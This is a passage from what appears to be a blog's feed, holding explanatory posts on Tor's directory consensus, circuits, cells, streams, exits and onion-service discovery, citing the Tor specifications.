&lt;li&gt;&lt;code&gt;Exit&lt;/code&gt;: its exit policy allows exit to a sufficiently useful set of destinations and ports;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Fast&lt;/code&gt;: the relay is considered suitable for circuits that require good transport capacity;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Stable&lt;/code&gt;: the relay is considered suitable for circuits that might remain open for a long time.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;code&gt;Middle&lt;/code&gt;, instead, indicates first of all a position in the path. There is no rule that every intermediate relay must have a generic &lt;code&gt;Middle&lt;/code&gt; flag. There is the special &lt;code&gt;MiddleOnly&lt;/code&gt; flag, which indicates that the relay is not suitable for roles other than middle: among other consequences, it is not used as a guard, exit, HSDir, introduction point, or rendezvous point. It&apos;s not the normal way to identify all middle relays.&lt;/p&gt;
&lt;p&gt;A relay can declare an &lt;strong&gt;exit policy&lt;/strong&gt;, i.e., the rules on addresses and ports to which it is willing to open connections. It cannot, however, self-proclaim as &lt;code&gt;Guard&lt;/code&gt;, &lt;code&gt;Exit&lt;/code&gt;, &lt;code&gt;Fast&lt;/code&gt;, or &lt;code&gt;Stable&lt;/code&gt; in the map used by clients. Directory authorities observe the network and produce the information that will contribute to the flags in the consensus.&lt;/p&gt;
&lt;p&gt;The same physical server can have multiple flags and be suitable for multiple positions. Flags do not describe different types of machines. They describe properties and restrictions that the client will apply during selection.&lt;/p&gt;
&lt;p&gt;The descriptor is thus a signed statement in entry. Flags, parameters, and weights usable by the client emerge from the consensus process.&lt;/p&gt;
&lt;h2&gt;More Views Become a Consensus&lt;/h2&gt;
&lt;p&gt;Each directory authority maintains its own view of the relays and produces a &lt;strong&gt;vote document&lt;/strong&gt; (&lt;em&gt;vote&lt;/em&gt;), also signed. Views do not need to be identical. A relay can be reachable from one authority and not from another; observations and measurements can arrive at different times.&lt;/p&gt;
&lt;p&gt;Authorities exchange votes and apply common rules to calculate a network-status &lt;strong&gt;consensus&lt;/strong&gt;. The resulting document contains the shared view that clients can use: listed relays, identities, flags, parameters, references to linked documents, and weights. These weights are numeric values that modify the probability with which relays can be chosen for different positions.&lt;/p&gt;
&lt;p&gt;Sufficient signatures attest that the document is the accepted result of the voting process. This does not transform the listed relays into trusted relays and does not eliminate trust in the authorities. It does, however, make verifiable that the client is using the common view, instead of the private version proposed by the server from which it downloaded it.&lt;/p&gt;
&lt;p&gt;Tor does not eliminate coordination. It makes it explicit and distributes it among multiple authorities.&lt;/p&gt;
&lt;h2&gt;Producing the Map and Distributing It Are Two Different Tasks&lt;/h2&gt;
&lt;p&gt;If every client were to download everything directly from the authorities, those machines would become the bottleneck of distribution.&lt;/p&gt;
&lt;p&gt;To avoid this, the &lt;strong&gt;directory caches&lt;/strong&gt; store and redistribute consensuses and other documents. A cache does not need to participate in the vote to offer a copy.&lt;/p&gt;
&lt;p&gt;The reason is cryptographic. The client verifies the signatures of the consensus. Moreover, when the consensus indicates a descriptor or a microdescriptor via &lt;strong&gt;digest&lt;/strong&gt;, the client can check if it received the expected document. A digest is a cryptographic fingerprint of the content: if the document changes, so does the fingerprint.&lt;/p&gt;
&lt;p&gt;A malicious cache can refuse to respond, delay the request, or try to deliver unusable data. It cannot, however, silently substitute an arbitrary document and make it match the digest already authenticated by the consensus.&lt;/p&gt;
&lt;p&gt;Authenticity and availability are different properties. Signatures and digests protect the content; they do not obligate a cache to serve it.&lt;/p&gt;
&lt;h2&gt;The Consensus Does Not Contain Every Detail Necessarily&lt;/h2&gt;
&lt;p&gt;A complete network map can become large. In the microdescriptor flow, the client uses a &lt;strong&gt;microdescriptor consensus&lt;/strong&gt;: a compact view that also contains the digests of the necessary microdescriptors. Each microdescriptor is a reduced card with only a part of the necessary information on the relay. It is not an independent self-presentation: the directory authorities derive it deterministically from the available information on the relay.&lt;/p&gt;
&lt;p&gt;The client verifies the consensus first. Then it uses the authenticated digests to request the smaller documents that describe the relays. The consensus thus works as a verifiable index: it indicates which details belong to the approved view.&lt;/p&gt;
&lt;p&gt;This order is important. If the client downloaded arbitrary documents first and decided later which to believe, the download server could influence the set considered. Instead, the signed document establishes first which digests to expect; the download completes the information without redefining the map.&lt;/p&gt;
&lt;h2&gt;When Bootstrap Is Really Done&lt;/h2&gt;
&lt;p&gt;Receiving a file called &lt;code&gt;consensus&lt;/code&gt; is not enough.&lt;/p&gt;
&lt;p&gt;The document declares three moments: &lt;code&gt;valid-after&lt;/code&gt;, &lt;code&gt;fresh-until&lt;/code&gt;, and &lt;code&gt;valid-until&lt;/code&gt;. These values separate a view not yet applicable, a fresh view, a view still usable, and a view expired. A document can thus be authentic but too old to describe the current network.&lt;/p&gt;
&lt;p&gt;After verifying signatures and time, the client recovers the descriptors or microdescriptors missing. Only when it has a valid consensus in time and sufficient information on the usable paths does the client consider the bootstrap sufficiently complete to build circuits.&lt;/p&gt;
&lt;p&gt;The necessary quantity depends on the configuration and parameters published in the directory information. The important transition is between two different states: «consensus received» and «client ready to build circuits».&lt;/p&gt;
&lt;p&gt;If a source does not respond, the client can try another. When it knows the consensus, it can also use the directory caches listed by the network instead of always depending on the initial contacts embedded in the software.&lt;/p&gt;
&lt;h2&gt;The Map Influences the Path, But Does Not Assign It&lt;/h2&gt;
&lt;p&gt;The consensus determines the set of candidates, flags, parameters, and weights that the client must respect. In this sense, the directory system influences the choice concretely.&lt;/p&gt;
&lt;p&gt;But the document does not contain a triplet &lt;code&gt;guard → middle → exit&lt;/code&gt;. It does not order a user to use three specific relays and does not enter the next application path.&lt;/p&gt;
&lt;p&gt;When bootstrap ends, the client has a verifiable view of the network. It will use this locally to filter and weigh the candidates based on the circuit&apos;s purpose.&lt;/p&gt;
&lt;p&gt;The directory has solved the problem «which relays can I choose?». The next problem is different: &lt;strong&gt;why will the client choose precisely those three, and in which order will it contact them?&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;Technical Sources&lt;/h2&gt;
&lt;p&gt;Tor Specifications: &lt;a href=&quot;https://spec.torproject.org/dir-spec/outline.html&quot;&gt;Directory protocol — Outline&lt;/a&gt; (“default list of authorities”, votes, consensus, and cache); &lt;a href=&quot;https://spec.torproject.org/dir-spec/client-operation.html&quot;&gt;Client operation&lt;/a&gt; (“Downloading network-status documents” and descriptor); &lt;a href=&quot;https://spec.torproject.org/dir-spec/publishing-consensus.html&quot;&gt;Publishing the consensus&lt;/a&gt; (signature requirements); &lt;a href=&quot;https://spec.torproject.org/dir-spec/computing-consensus.html&quot;&gt;Computing a consensus&lt;/a&gt; (calculation); &lt;a href=&quot;https://spec.torproject.org/dir-spec/consensus-formats.html&quot;&gt;Consensus formats&lt;/a&gt; (flags); &lt;a href=&quot;https://spec.torproject.org/dir-spec/computing-microdescriptors.html&quot;&gt;Computing microdescriptors&lt;/a&gt; (derivation); &lt;a href=&quot;https://spec.torproject.org/dir-spec/uploading-relay-documents.html&quot;&gt;Uploading relay documents&lt;/a&gt; (descriptor); &lt;a href=&quot;https://spec.torproject.org/dir-list-spec.html&quot;&gt;Tor Directory List Format&lt;/a&gt; (“Scope” and fallback); &lt;a href=&quot;https://spec.torproject.org/path-spec/when-we-build.html&quot;&gt;When we build&lt;/a&gt; (“enough directory information”). Consulted August 14, 2026; excludes historical notes.&lt;/p&gt;
</content:encoded></item><item><title>Inside a Tor Circuit: Channels, Cells, Streams, DNS, and TLS</title><link>https://didof.dev/blog/tor-cells-streams-exit/</link><guid isPermaLink="true">https://didof.dev/blog/tor-cells-streams-exit/</guid><description>What Tor actually carries after a circuit is built, from the first relay cell to the exit&apos;s connection to the site.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import TorTrafficInspector from &quot;@/components/blog/tor/TorTrafficInspector.astro&quot;;&lt;/p&gt;
&lt;p&gt;Let&apos;s open &lt;code&gt;example.com&lt;/code&gt;. The browser requests a connection to the site and begins exchanging bytes: first the HTML document, then the resources the page needs.&lt;/p&gt;
&lt;p&gt;Tor already has a built path:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;client → guard → middle → exit&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;client&lt;/strong&gt; is the Tor software on the device. The guard, middle, and exit are relays: servers that forward traffic. The guard is the first relay, the middle is the intermediate one, and the exit is the last Tor relay and opens the connection to the site.&lt;/p&gt;
&lt;p&gt;Let&apos;s follow a single browser connection.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The client creates a &lt;strong&gt;stream&lt;/strong&gt; for &lt;code&gt;example.com:443&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;The stream uses a &lt;strong&gt;circuit&lt;/strong&gt; already built through the guard, middle, and exit.&lt;/li&gt;
&lt;li&gt;The stream&apos;s bytes are divided into relay messages carried inside &lt;strong&gt;cells&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;The cells travel over &lt;strong&gt;channels&lt;/strong&gt; connecting each pair of adjacent participants.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The four names now have concrete objects to attach to.&lt;/p&gt;
&lt;h2&gt;Four Objects, Four Scales&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;stream&lt;/strong&gt; is the logical application flow. A second compatible connection can use another StreamID on the same circuit without merging with the first.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;circuit&lt;/strong&gt; is the logical path through multiple relays. It is not a single network connection from the client to the exit.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;cell&lt;/strong&gt; is the message unit Tor transports. Relays do not receive a “web page” as an object; they receive cells associated with local circuits.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;channel&lt;/strong&gt; is the authenticated connection between two adjacent participants. Our path has one between client and guard, one between guard and middle, and one between middle and exit. The same channel can carry multiple circuits.&lt;/p&gt;
&lt;p&gt;In short: a stream uses a circuit; its bytes travel in cells; each cell crosses a sequence of channels. There is no required &lt;code&gt;one HTTP request = one cell&lt;/code&gt; correspondence.&lt;/p&gt;
&lt;h2&gt;Two Identifiers with Two Different Scopes&lt;/h2&gt;
&lt;p&gt;Every channel must distinguish the cells belonging to the circuits it carries. It does so with a &lt;strong&gt;CircID&lt;/strong&gt;, a circuit identifier valid only on that channel.&lt;/p&gt;
&lt;p&gt;This scope matters. The same cell can belong to CircID &lt;code&gt;17&lt;/code&gt; between client and guard, CircID &lt;code&gt;81&lt;/code&gt; between guard and middle, and CircID &lt;code&gt;36&lt;/code&gt; between middle and exit. The numbers are illustrative, but the principle is real: there is no global CircID that crosses the entire path unchanged.&lt;/p&gt;
&lt;p&gt;Inside a relay cell, the &lt;strong&gt;StreamID&lt;/strong&gt; instead identifies the application stream to which the message belongs. Its value has meaning within the circuit carrying the cell: the client chooses a nonzero identifier not already in use on that circuit. Two compatible flows can therefore use the same circuit while remaining separate.&lt;/p&gt;
&lt;p&gt;The CircID answers “which circuit on this link?” The StreamID answers “which flow inside that circuit?”&lt;/p&gt;
&lt;p&gt;&amp;lt;TorTrafficInspector /&amp;gt;&lt;/p&gt;
&lt;h2&gt;A Cell Is Not Simply “512 Bytes”&lt;/h2&gt;
&lt;p&gt;Many explanations say that a Tor cell is always 512 bytes long. That shortcut is too rigid.&lt;/p&gt;
&lt;p&gt;Most cells use a fixed length in the protocol version negotiated between two neighbors, while some commands use variable-length cells. The header and content are also different things. Without specifying the version and the observed layer, an isolated number creates more confusion than precision.&lt;/p&gt;
&lt;p&gt;For our model, it is enough to distinguish the cell envelope from the &lt;strong&gt;relay message&lt;/strong&gt; it contains. A relay message can include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the command, such as opening, carrying data, or closing a stream;&lt;/li&gt;
&lt;li&gt;the StreamID;&lt;/li&gt;
&lt;li&gt;fields used for recognition and integrity;&lt;/li&gt;
&lt;li&gt;the data length;&lt;/li&gt;
&lt;li&gt;data and padding.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are Tor protocol fields. They are not HTTP request fields, nor are they an Internet Protocol (IP) packet.&lt;/p&gt;
&lt;h2&gt;Toward the Exit, the Client Prepares the Layers&lt;/h2&gt;
&lt;p&gt;Suppose a relay cell must reach the exit. The client prepares the message for the exit and applies the cryptographic transformations required for each relay in the path, from the logical recipient back to the first relay.&lt;/p&gt;
&lt;p&gt;The result is sent to the guard over the first channel, using that link&apos;s local CircID.&lt;/p&gt;
&lt;p&gt;The guard processes its layer and checks whether the relay message is logically addressed to it. If it does not recognize the message as its own, it forwards it over the next channel using the CircID valid toward the middle.&lt;/p&gt;
&lt;p&gt;The middle performs the same operation and forwards toward the exit with another local CircID. Only after processing its own layer does the exit recognize the relay message addressed to it.&lt;/p&gt;
&lt;p&gt;The onion is therefore not an opaque packet that preserves the same shape and identifier from beginning to end. Each relay maintains local circuit state, processes its own layer, and produces what must be sent to the next neighbor.&lt;/p&gt;
&lt;h2&gt;The Response Is Not the Same Animation in Reverse&lt;/h2&gt;
&lt;p&gt;The return direction uses keys and transformations distinct from those used in the forward direction.&lt;/p&gt;
&lt;p&gt;The exit originates the response relay cell. Each relay it crosses adds its protection before sending it to the previous neighbor. The client receives the result from the guard and removes the layers in the prescribed order until it identifies the cell&apos;s logical origin.&lt;/p&gt;
&lt;p&gt;The guard and middle do not “rebuild the original onion.” They apply the return-direction cryptographic state associated with their segment.&lt;/p&gt;
&lt;h2&gt;How a Stream to the Internet Begins&lt;/h2&gt;
&lt;p&gt;Tor already has an open circuit to a suitable exit. The browser now wants to reach &lt;code&gt;example.com&lt;/code&gt; on port 443.&lt;/p&gt;
&lt;p&gt;The client assigns a StreamID and sends a &lt;code&gt;RELAY_BEGIN&lt;/code&gt; command with the destination and port toward the exit. If it receives a name such as &lt;code&gt;example.com&lt;/code&gt;, the exit performs Domain Name System (DNS) resolution—looking up the associated IP address—and opens a separate Transmission Control Protocol (TCP) connection to that address.&lt;/p&gt;
&lt;p&gt;The browser communicates with the Tor client through the local proxy interface. Tor carries those bytes as a stream in the circuit; the exit transfers them onto the external TCP connection. No single TCP connection crosses the circuit from browser to site.&lt;/p&gt;
&lt;p&gt;If the connection succeeds, the exit responds with &lt;code&gt;RELAY_CONNECTED&lt;/code&gt;. If it cannot open the connection, it responds with &lt;code&gt;RELAY_END&lt;/code&gt; and a protocol-defined error reason.&lt;/p&gt;
&lt;p&gt;In the correct flow, the device&apos;s local DNS resolver should therefore never receive the request for &lt;code&gt;example.com&lt;/code&gt;. The name reaches the exit through Tor and is resolved there.&lt;/p&gt;
&lt;p&gt;This protection depends on the application. If a program resolves the domain locally before handing it to Tor, that DNS request originates outside the circuit. Tor can protect only the traffic it actually receives.&lt;/p&gt;
&lt;h2&gt;After Opening, Bytes Travel—not Entire HTTP Requests&lt;/h2&gt;
&lt;p&gt;Once the stream is open, the client and exit carry bytes through &lt;code&gt;RELAY_DATA&lt;/code&gt; messages associated with the StreamID.&lt;/p&gt;
&lt;p&gt;A large response requires multiple messages. A single message may contain only some of the bytes the application considers one response. Tor does not need to preserve the boundaries between an HTTP method, headers, body, image, or Cascading Style Sheets (CSS) file as protocol primitives.&lt;/p&gt;
&lt;p&gt;This explains how multiple streams can share a circuit without becoming confused: the circuit provides the path, the StreamID separates the flows, and cells carry portions of their data.&lt;/p&gt;
&lt;h2&gt;Tor Ends at the Exit; TLS Can Continue&lt;/h2&gt;
&lt;p&gt;The Tor circuit connects the client to the exit. The external TCP connection connects the exit to the site. If the browser uses HTTPS, the browser-to-site TLS session records cross the local connection to Tor, the Tor stream, and the external TCP connection: application-layer encryption protects the web content between the two endpoints.&lt;/p&gt;
&lt;p&gt;The two protections have different endpoints:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tor&apos;s circuit protection ends at the exit;&lt;/li&gt;
&lt;li&gt;application TLS protection crosses the exit and ends at the site.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The exit must know the network destination required to open the connection. In the standard model, the circuit does not directly give it the client&apos;s original IP address. Correlation, collusion, compromise, and application data belong to the threat model we will address at the end of the series.&lt;/p&gt;
&lt;p&gt;With correctly authenticated HTTPS, the exit carries encrypted application bytes without being able to freely read the HTTP content. Without end-to-end application encryption, a malicious exit can instead observe or modify plaintext data.&lt;/p&gt;
&lt;p&gt;The site therefore receives the connection from the exit, not directly from the client, while different relays hold different parts of the context. Tor does not replace TLS.&lt;/p&gt;
&lt;h2&gt;The Flow Is Not an Endless Tap&lt;/h2&gt;
&lt;p&gt;A sender cannot keep sending data relay cells without accounting for the receiver&apos;s capacity.&lt;/p&gt;
&lt;p&gt;Tor uses flow-control windows and &lt;code&gt;SENDME&lt;/code&gt; messages: sending consumes credit; receiving valid data periodically triggers a &lt;code&gt;SENDME&lt;/code&gt;, which acknowledges receipt and restores credit. In modern modes, these signals also contribute to congestion control. The sender slows down when the path is not clearing cells quickly enough.&lt;/p&gt;
&lt;p&gt;The complete congestion protocol contains additional states and details. The invariant is enough here: the circuit transports data under flow control, not as an unlimited sequence of arrows.&lt;/p&gt;
&lt;p&gt;We can finally put the famous onion in the right place. It does not wrap an entire web page, and it is not the circuit itself. It is how relay cells are transformed while carrying the bytes of one or more streams over an already built path.&lt;/p&gt;
&lt;p&gt;For a normal site, the exit ultimately converts that Tor stream into a connection to the Internet. A &lt;code&gt;.onion&lt;/code&gt;, by contrast, needs no public exit: first we must understand how the client discovers a service that does not publish its IP address.&lt;/p&gt;
&lt;h2&gt;Technical Sources&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Internal transport.&lt;/strong&gt; Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/tor-spec/channels.html&quot;&gt;Channels&lt;/a&gt;, definition and authentication; &lt;a href=&quot;https://spec.torproject.org/tor-spec/cell-packet-format.html&quot;&gt;Cells — messages on channels&lt;/a&gt;, opening and “Interpreting the fields: CircID”; &lt;a href=&quot;https://spec.torproject.org/tor-spec/relay-cells.html&quot;&gt;Relay cells&lt;/a&gt;, format and StreamID; &lt;a href=&quot;https://spec.torproject.org/tor-spec/routing-relay-cells.html&quot;&gt;Routing relay cells&lt;/a&gt;, “Forward Direction” and “Backward Direction”; &lt;a href=&quot;https://spec.torproject.org/tor-spec/setting-circuit-keys.html&quot;&gt;Setting circuit keys&lt;/a&gt;, directional keys and digests.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Streams and exits.&lt;/strong&gt; Tor Specifications, &lt;a href=&quot;https://spec.torproject.org/tor-spec/opening-streams.html&quot;&gt;Opening streams and transmitting data&lt;/a&gt;, “The begin/connected handshake” and “Transmitting data”; &lt;a href=&quot;https://spec.torproject.org/tor-spec/flow-control.html&quot;&gt;Flow control&lt;/a&gt;, windows and &lt;code&gt;SENDME&lt;/code&gt;; &lt;a href=&quot;https://spec.torproject.org/proposals/324-rtt-congestion-control.html&quot;&gt;Proposal 324 — RTT-based congestion control&lt;/a&gt;, &lt;code&gt;Finished&lt;/code&gt; state. Tor Project Support, &lt;a href=&quot;https://support.torproject.org/about-tor/security/https-encryption-and-tor/&quot;&gt;HTTPS encryption and Tor&lt;/a&gt;, the distinct endpoints of Tor and HTTPS.&lt;/p&gt;
&lt;p&gt;Online specifications and documentation consulted August 14, 2026.&lt;/p&gt;
</content:encoded></item><item><title>How Do You Find a Site That Does Not Publish Its IP Address?</title><link>https://didof.dev/blog/tor-onion-service-discovery/</link><guid isPermaLink="true">https://didof.dev/blog/tor-onion-service-discovery/</guid><description>What a .onion address identifies, and how descriptors, blinded keys, and HSDirs let a client discover a service without learning its network location.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import OnionDiscoveryRing from &quot;@/components/blog/tor/OnionDiscoveryRing.astro&quot;;&lt;/p&gt;
&lt;p&gt;Paste a &lt;code&gt;.onion&lt;/code&gt; address into the browser and press Enter.&lt;/p&gt;
&lt;p&gt;For a normal site, the name resolves to an IP address. We might therefore imagine a hidden equivalent of the Domain Name System (DNS): a table that translates the onion name into the server&apos;s address.&lt;/p&gt;
&lt;p&gt;But that table would reveal exactly what an onion service is intended to protect.&lt;/p&gt;
&lt;p&gt;Tor therefore separates two problems. The name identifies the service. A temporary document explains how to send it a request. Neither needs to contain the server&apos;s public IP address.&lt;/p&gt;
&lt;h2&gt;First: The Participants and Documents&lt;/h2&gt;
&lt;p&gt;An &lt;strong&gt;onion service&lt;/strong&gt; is a service reachable entirely through Tor. The &lt;strong&gt;Tor client&lt;/strong&gt; is the software component that wants to reach it. Both build &lt;strong&gt;circuits&lt;/strong&gt;: logical paths through multiple relays in the Tor network.&lt;/p&gt;
&lt;p&gt;A &lt;strong&gt;relay&lt;/strong&gt; is a node that forwards traffic for other participants. Some relays can also act as an &lt;strong&gt;HSDir&lt;/strong&gt;, short for hidden service directory: they temporarily store documents published by onion services.&lt;/p&gt;
&lt;p&gt;One such document is the &lt;strong&gt;onion descriptor&lt;/strong&gt;. It describes the points through which a client can ask to be introduced to the service. It is neither the network consensus nor the web page offered by the service.&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;consensus&lt;/strong&gt;, by contrast, is the signed map of the Tor network. It lists usable relays and provides shared parameters. Client and service start from the same map.&lt;/p&gt;
&lt;h2&gt;An Onion Name Identifies Someone, Not Somewhere&lt;/h2&gt;
&lt;p&gt;A version 3 onion service has an identity key pair. The private key remains with the service. The corresponding public key lets others verify operations tied to that identity.&lt;/p&gt;
&lt;p&gt;The onion address is derived from three elements:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the service&apos;s Ed25519 identity public key;&lt;/li&gt;
&lt;li&gt;a checksum, a short check against errors and invalid combinations;&lt;/li&gt;
&lt;li&gt;one byte indicating the format version.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These 35 bytes are represented in Base32, a textual alphabet suitable for turning binary data into copyable characters, and receive the &lt;code&gt;.onion&lt;/code&gt; suffix.&lt;/p&gt;
&lt;p&gt;The name contains neither the server&apos;s IP address nor the relays the service is using at that moment.&lt;/p&gt;
&lt;p&gt;Instead, it contains the public identity needed to tie subsequent steps to the same service. This is why it is called &lt;strong&gt;self-authenticating&lt;/strong&gt;: the name carries the public material from which the client can cryptographically verify the identity, rather than relying on an external mapping between name and owner.&lt;/p&gt;
&lt;h2&gt;The Service Prepares Entrances That Are Not Its Location&lt;/h2&gt;
&lt;p&gt;Before any particular client arrives, the service selects several relays as &lt;strong&gt;introduction points&lt;/strong&gt; and builds circuits to them.&lt;/p&gt;
&lt;p&gt;An introduction point is a delivery point. It can forward a future introduction request to the service through an already active circuit. That circuit crosses other relays, so the introduction point&apos;s direct neighbor is a relay, not the service&apos;s server.&lt;/p&gt;
&lt;p&gt;The service keeps these circuits available and puts the following in the descriptor:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the usable introduction points;&lt;/li&gt;
&lt;li&gt;the cryptographic material needed to address a request to the service;&lt;/li&gt;
&lt;li&gt;the protocol information needed to interpret the document.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The descriptor does not contain the future rendezvous point. The client chooses that only after discovery. Nor does it contain the site&apos;s application data.&lt;/p&gt;
&lt;h2&gt;Why Not Always Publish Under the Same Identity?&lt;/h2&gt;
&lt;p&gt;The onion address must remain stable; otherwise nobody could save or share it. Why, then, does Tor not always publish the descriptor directly under that same identity?&lt;/p&gt;
&lt;p&gt;Because the key used to sign and index directory information must be able to change over time without changing the public identity users retain. Tor thus avoids using the long-term identity key directly for every publication and can distribute descriptors across positions that rotate between periods.&lt;/p&gt;
&lt;p&gt;Tor therefore introduces a &lt;strong&gt;blinded key&lt;/strong&gt;, a public key derived for a specific period. The term &lt;em&gt;blinding&lt;/em&gt; refers to this transformation: the stable identity produces a temporary identifier, but the service gives its private key to nobody.&lt;/p&gt;
&lt;p&gt;The client can derive the same blinded key. It has the public key embedded in the onion address and knows the period and the network&apos;s shared parameters. The name therefore remains stable while the key used for publication changes over time.&lt;/p&gt;
&lt;h2&gt;How HSDirs Are Chosen&lt;/h2&gt;
&lt;p&gt;The consensus lets everyone order HSDirs in a circular identifier space. We can picture it as a ring, provided we remember that it is not physical geography: relays adjacent on the ring can be in different countries.&lt;/p&gt;
&lt;p&gt;For the current period, the blinded key, the period, and the replica number determine the descriptor indexes. Separately, each HSDir&apos;s identity, a &lt;strong&gt;shared random value&lt;/strong&gt;, and the same period determine that relay&apos;s position on the ring. The shared random value is published in the directory information and makes it harder to predict far in advance which HSDirs will be responsible.&lt;/p&gt;
&lt;p&gt;Consensus parameters determine how many replicas and HSDirs to use. By comparing descriptor indexes with relay positions, the client and service identify the responsible HSDirs, which become the document&apos;s temporary custodians.&lt;/p&gt;
&lt;p&gt;There is therefore no central server that receives the question “where is this onion?” The service calculates where to publish. The client repeats the calculation to know where to look.&lt;/p&gt;
&lt;p&gt;Nor is it a random search among all relays. Given the same inputs, both converge on the same positions.&lt;/p&gt;
&lt;p&gt;&amp;lt;OnionDiscoveryRing /&amp;gt;&lt;/p&gt;
&lt;h2&gt;The Service Publishes Without Using the Future Data Path&lt;/h2&gt;
&lt;p&gt;The service builds dedicated circuits to the responsible HSDirs and uploads the descriptor. Publication happens through Tor, so the HSDir does not directly receive a connection from the service&apos;s original IP address.&lt;/p&gt;
&lt;p&gt;The HSDir&apos;s role ends here: it stores and distributes the document. It does not become an introduction point or rendezvous point, and it does not enter the future application-data path. Introduction points maintain circuits to the service; the HSDir stores protected contact information. These are different functions.&lt;/p&gt;
&lt;h2&gt;The Client Repeats the Same Calculation&lt;/h2&gt;
&lt;p&gt;When it receives the &lt;code&gt;.onion&lt;/code&gt; address, the client checks its format and checksum, then extracts the public key and version. It uses the current period and its copy of the consensus to derive the same blinded key and indexes.&lt;/p&gt;
&lt;p&gt;The client builds a dedicated circuit to a responsible HSDir and requests the descriptor. This download also remains separate from the circuits that will be used for introduction and rendezvous.&lt;/p&gt;
&lt;p&gt;The descriptor uses two encryption layers with different purposes.&lt;/p&gt;
&lt;p&gt;The first protects contact information from an HSDir that stores the document but does not already know the onion address. This does not make association impossible in every case: an HSDir that learns the name from another source can derive the protocol-defined material and try to access this layer.&lt;/p&gt;
&lt;p&gt;The second layer supports &lt;strong&gt;restricted discovery&lt;/strong&gt;, an optional mode in which only authorized clients possess the required credentials. Without this mode, it does not add a separate list of authorized visitors.&lt;/p&gt;
&lt;p&gt;After decrypting a valid descriptor, the client obtains the introduction points and the cryptographic material required for the next phase.&lt;/p&gt;
&lt;p&gt;It does not obtain the service&apos;s IP address.&lt;/p&gt;
&lt;h2&gt;Positions Change Without Changing the Name&lt;/h2&gt;
&lt;p&gt;When the period changes, the blinded key changes too. The indexes and group of responsible HSDirs therefore change, while the onion address remains the same.&lt;/p&gt;
&lt;p&gt;The transition cannot be abrupt. Different clients may hold consensuses referring to slightly different times. The service therefore maintains overlapping descriptors across adjacent periods, so both temporal views can still find valid information.&lt;/p&gt;
&lt;p&gt;Duration and distribution are governed by protocol parameters. The mechanism to remember is coordinated rotation with an overlap window.&lt;/p&gt;
&lt;h2&gt;Discovery Does Not Yet Mean Connection&lt;/h2&gt;
&lt;p&gt;At the end of this phase, the client knows an onion identity, several introduction points, and the material needed to formulate a request. It does not directly know the service&apos;s network location, has not yet chosen the relay on which to meet it, and has not yet opened an application stream.&lt;/p&gt;
&lt;p&gt;Discovery has found a door to knock on without turning it into the house&apos;s public address. The client must now choose a rendezvous point and communicate that choice to the service: the next article follows the meeting of the two circuits.&lt;/p&gt;
&lt;h3&gt;Technical Sources&lt;/h3&gt;
&lt;p&gt;Tor Specifications: &lt;a href=&quot;https://spec.torproject.org/rend-spec/encoding-onion-addresses.html&quot;&gt;Encoding onion addresses&lt;/a&gt; (&lt;code&gt;ONIONADDRESS&lt;/code&gt;); &lt;a href=&quot;https://spec.torproject.org/rend-spec/protocol-overview.html&quot;&gt;Onion service protocol overview&lt;/a&gt; (naming and descriptor distribution); &lt;a href=&quot;https://spec.torproject.org/rend-spec/deriving-keys.html&quot;&gt;Deriving blinded keys and subcredentials&lt;/a&gt; (opening, time periods, and “Where to publish”); &lt;a href=&quot;https://spec.torproject.org/rend-spec/hsdesc-encrypt.html&quot;&gt;Descriptor encryption format&lt;/a&gt; (first and second layers). Consulted August 14, 2026. Timing and replica counts remain consensus parameters.&lt;/p&gt;
</content:encoded></item><item><title>Rendezvous: How a Client and Onion Service Meet Without Knowing Each Other</title><link>https://didof.dev/blog/tor-onion-service-rendezvous/</link><guid isPermaLink="true">https://didof.dev/blog/tor-onion-service-rendezvous/</guid><description>The complete sequence that joins two Tor circuits through an introduction point, cookie, rendezvous point, handshake, and virtual hop.</description><pubDate>Sat, 15 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import OnionRendezvousMachine from &quot;@/components/blog/tor/OnionRendezvousMachine.astro&quot;;&lt;/p&gt;
&lt;p&gt;Draw three relays on the client side and three on the onion-service side. Then make the two lines meet in the middle.&lt;/p&gt;
&lt;p&gt;It looks as if six relays are required. But the central relay belongs to both halves: it is the last hop of the client&apos;s circuit and the last hop of the service&apos;s circuit.&lt;/p&gt;
&lt;p&gt;This geometry alone does not explain how both choose that particular relay. The service does not know the client&apos;s location. The client does not know the service&apos;s location. And the two cannot agree through a direct connection.&lt;/p&gt;
&lt;p&gt;A sequence is required.&lt;/p&gt;
&lt;h2&gt;First: The Four Essential Participants&lt;/h2&gt;
&lt;p&gt;The &lt;strong&gt;Tor client&lt;/strong&gt; is the software that wants to reach the service. The &lt;strong&gt;onion service&lt;/strong&gt; is the software that accepts the connection without directly publishing its IP address.&lt;/p&gt;
